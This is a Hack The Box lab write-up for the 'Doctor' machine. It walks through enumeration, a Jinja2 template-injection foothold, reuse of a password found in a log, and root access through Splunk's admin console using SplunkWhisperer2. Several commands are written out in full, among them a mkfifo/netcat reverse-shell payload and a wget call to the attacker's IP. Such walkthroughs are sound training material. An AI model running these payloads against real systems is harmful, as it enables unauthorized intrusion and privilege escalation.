Hack The Box - Doctor
Introduction
Doctor is an easy machine rated 4.0. First, I exploited an SSTI vulnerability to get initial access to the system. I found credentials in a file for a low priv user and then exploited the splunkd application. I start with the enumeration of the machine.
Enumeration
As always, I start with a Nmap scan.
Nmap Scan
For this task, I use the nmap automator, here are the results of the full scan:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8089/tcp open unknown
On those 3 open ports, the automator will perform a script scan, here are the results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
| 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after: 2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service Enumeration
I start by enumerating the webserver using a Gobuster scan:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/doctor]
└─$ gobuster dir -u http://doctor.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt -x php,html,log,txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://doctor.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,html,log,txt
[+] Timeout: 10s
===============================================================
2021/09/22 20:06:05 Starting gobuster in directory enumeration mode
===============================================================
/contact.html (Status: 200) [Size: 19848]
/about.html (Status: 200) [Size: 19848]
/blog.html (Status: 200) [Size: 19848]
/index.html (Status: 200) [Size: 19848]
/images (Status: 301) [Size: 309] [--> http://doctor.htb/images/]
/services.html (Status: 200) [Size: 19848]
/css (Status: 301) [Size: 306] [--> http://doctor.htb/css/]
/js (Status: 301) [Size: 305] [--> http://doctor.htb/js/]
/departments.html (Status: 200) [Size: 19848]
/fonts (Status: 301) [Size: 308] [--> http://doctor.htb/fonts/]
All the pages found do not help me enumerating. The page is based on wordpress (colorlib) but I could not find the login page. After a while, the nmap automator did the FFuF scans, and I noticed that there is also a FFuF scan of port 8089:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : https://doctor.htb:8089/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
[Status: 200, Size: 2168, Words: 594, Lines: 37]
robots.txt [Status: 200, Size: 26, Words: 3, Lines: 3]
services [Status: 401, Size: 130, Words: 12, Lines: 7]
v1 [Status: 200, Size: 2168, Words: 594, Lines: 37]
v4 [Status: 200, Size: 2168, Words: 594, Lines: 37]
v2 [Status: 200, Size: 2168, Words: 594, Lines: 37]
v3 [Status: 200, Size: 2168, Words: 594, Lines: 37]
With https you can access that webpage. I cannot access the services, they are password protected. There is one service that is not protected: https://doctor.htb:8089/rpc but I get an “Invalid request”.
I searched a lot for exploits and stuff like that but nothing really worked. So I started from the beginning and enumerated the page more. I found an email address to a different domain:
info@doctors.htb
, I add it to the hosts file and visit it. I got redirected to http://doctors.htb/login?next=%2F
. I make a scan of the new website:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/doctor]
└─$ python3 /tools/dirsearch/dirsearch.py -u http://doctors.htb -e php,html -x 403,404 -t 50
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, html | HTTP method: GET | Threads: 50 | Wordlist size: 9395
Output File: /tools/dirsearch/reports/doctors.htb/_21-09-22_21-21-38.txt
Error Log: /tools/dirsearch/logs/errors-21-09-22_21-21-38.log
Target: http://doctors.htb/
[21:21:38] Starting:
[21:21:50] 302 - 251B - /account -> http://doctors.htb/login?next=%2Faccount
[21:21:56] 200 - 101B - /archive
[21:22:04] 302 - 245B - /home -> http://doctors.htb/login?next=%2Fhome
[21:22:08] 200 - 4KB - /login
[21:22:08] 302 - 217B - /logout -> http://doctors.htb/home
[21:22:15] 200 - 4KB - /register
[21:22:22] 200 - 3KB - /user/admin
Task Completed
But nothing crazy can be found here (the archive is empty). I tried to create an account:
That worked, I can log in but I could not find any vulnerabilities. So I checked the request in burp:
HTTP/1.1 302 FOUND
Date: Wed, 22 Sep 2021 19:40:38 GMT
Server: Werkzeug/1.0.1 Python/3.8.2
Content-Type: text/html; charset=utf-8
Content-Length: 245
Location: http://doctors.htb/login?next=%2Fhome
Vary: Cookie
Set-Cookie: session=.eJwljkFqAzEMRa9ivC5lbMmWnVN0X0KQZSkZGjJlPFmF3L2Grj7vLx7v5S9253HT4U_fL--OOX592OY__Nddeai7b1e3PtyxORbRMdxxW4f75at--vP7_DENu46bPx37Uyet3Z98aaZgMRcwqSoQkBIYKAgalpoAONTEVLRqVhXuDXsEBLHAkolCkoBN49QkKLFjLCIpVWtEDJRBhagZL7XSdDfOFbRIM-wltzzzL8-h-39NnChjt8ux_ehjHigMKRNKjI2adE4Uly7WF0MCrGGp047Bv_8AOUpVrg.YUuGtg.DGOwwNuyHmBb_Yrq4b_Dvdu7FBE; HttpOnly; Path=/
Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/login?next=%2Fhome">/login?next=%2Fhome</a>. If not click the link.
As you can see, this is not an apache webserver, it is instead a python webserver.
Exploitation
I know that the webserver is running on python. I may use some technology like Jinja and Django which might be vulnerable to an SSTI. So I got my Cheat Sheet ready and tried some things out:
Both tries did not work and I got confused. So I search through the archive, but nothing. Later I accidently opened up the source code of archive and found something:
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>16[[5*5]] 7777777</title></item>
</channel>
<item><title>${7*7}</title></item>
</channel>
It seems like the application execute the code that works for Jinja2 or Twig. So let’s create a shell. I do not know that much of SSTIs, so I just grab the payload “Exploit the SSTI by calling Popen without guessing the offset” (sadly I cannot use a code block for this, the webserver would delete it to prefent SSTIs):
Start a netcat listener and create a new message:
Now, reload archive and get a look at the nc listener:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/doctor]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.209] 40304
bash: cannot set terminal process group (822): Inappropriate ioctl for device
bash: no job control in this shell
web@doctor:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
web@doctor:~$ export TERM=xterm
export TERM=xterm
web@doctor:~$ ^Z
zsh: suspended nc -lvnp 443
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/doctor]
└─$ stty raw -echo; fg
[1] + continued nc -lvnp 443
web@doctor:~$ ^C
web@doctor:~$
And I have a shell. But I cannot get the flag, so I need to privesc.
Privesc
web → shaun
I ran Linpeas and found this:
╔══════════╣ Finding passwords inside logs (limit 70)
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
There is a password in a log file Guitar123
. That is not an email as it may be intended by the script. Let’s try for a password reuse:
web@doctor:~$ su shaun
Password:
shaun@doctor:/home/web$ id
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)
That worked, I got a shell as shaun.
User Flag
I should be able to read the user flag:
shaun@doctor:~$ ls
user.txt
shaun@doctor:~$ cat user.txt
34**************************c7cf
There is the flag, now, let’s get root.
shaun → root
I run LinPEAS again with the new user account:
════════════════════════════════════╣ Processes, Cron, Services, Timers & Sockets ╠════════════════════════════════════
╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
---snip---
kernoops 952 0.0 0.0 11240 448 ? Ss 20:11 0:00 /usr/sbin/kerneloops
root 1138 0.0 2.2 259516 88408 ? Sl 20:11 0:06 splunkd -p 8089 start
I noticed that the splunkd is running as root. So I thought I give it a shot and try for a password reuse (password of shaun):
That worked, I’m now logged in to the admin console. So I need to find a tool for RCE. I already found one in the enumeration phase, which I could not use at that stage of the attack because I had no credentials. Let’s download it:
┌──(user㉿KaliVM)-[/tools/LinPEAS]
└─$ git clone https://github.com/cnotin/SplunkWhisperer2.git
Cloning into 'SplunkWhisperer2'...
remote: Enumerating objects: 55, done.
remote: Counting objects: 100% (7/7), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 55 (delta 1), reused 2 (delta 1), pack-reused 48
Receiving objects: 100% (55/55), 20.70 KiB | 2.59 MiB/s, done.
Resolving deltas: 100% (17/17), done.
Let’s test the exploit:
┌──(user㉿KaliVM)-[/tools/LinPEAS/SplunkWhisperer2/PySplunkWhisperer2]
└─$ python3 PySplunkWhisperer2_remote.py --host doctor.htb --lhost 10.10.16.6 --username shaun --password Guitar123 --payload "wget http://10.10.16.6/test.html"
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpg3ft8_wr.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.16.6:8181/
10.10.10.209 - - [22/Sep/2021 22:21:46] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!
Press RETURN to cleanup
[.] Removing app...
[+] App removed
[+] Stopped HTTP server
Bye!
I look at my web server and saw that it worked:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/doctor]
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.209 - - [22/Sep/2021 22:21:46] code 404, message File not found
10.10.10.209 - - [22/Sep/2021 22:21:46] "GET /test.html HTTP/1.1" 404 -
Through the shell as shaun, I can confirm that netcat is installed:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/doctor]
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.209 - - [22/Sep/2021 22:21:46] code 404, message File not found
10.10.10.209 - - [22/Sep/2021 22:21:46] "GET /test.html HTTP/1.1" 404 -
I should now be able to spawn a reverse shell using netcat (need to use mkfifo one, the -e
option is not working):
┌──(user㉿KaliVM)-[/tools/LinPEAS/SplunkWhisperer2/PySplunkWhisperer2]
└─$ python3 PySplunkWhisperer2_remote.py --host doctor.htb --lhost 10.10.16.6 --username shaun --password Guitar123 --payload "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 443 >/tmp/f"
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpflsomzda.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.16.6:8181/
10.10.10.209 - - [22/Sep/2021 22:24:43] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!
Press RETURN to cleanup
[.] Removing app...
[+] App removed
[+] Stopped HTTP server
Bye!
Now, look at the netcat listener:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/doctor]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.209] 40320
/bin/sh: 0: can't access tty; job control turned off
# python3 -c 'import pty;pty.spawn("/bin/bash")'
root@doctor:/# export TERM=xterm
export TERM=xterm
root@doctor:/# ^Z
zsh: suspended nc -lvnp 443
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/doctor]
└─$ stty raw -echo; fg
[1] + continued nc -lvnp 443
root@doctor:/# ^C
root@doctor:/# id
uid=0(root) gid=0(root) groups=0(root)
That worked, I got a root shell.
Root Flag
Time to get that root flag:
root@doctor:/# cd /root
root@doctor:/root# ls
root.txt
root@doctor:/root# cat root.txt
e2**************************95a9
Conclusions
This box was fun to solve and I learned a lot about SSTI. The privesc was rather easy, but I still think that this machine was a good training for the OSCP examp.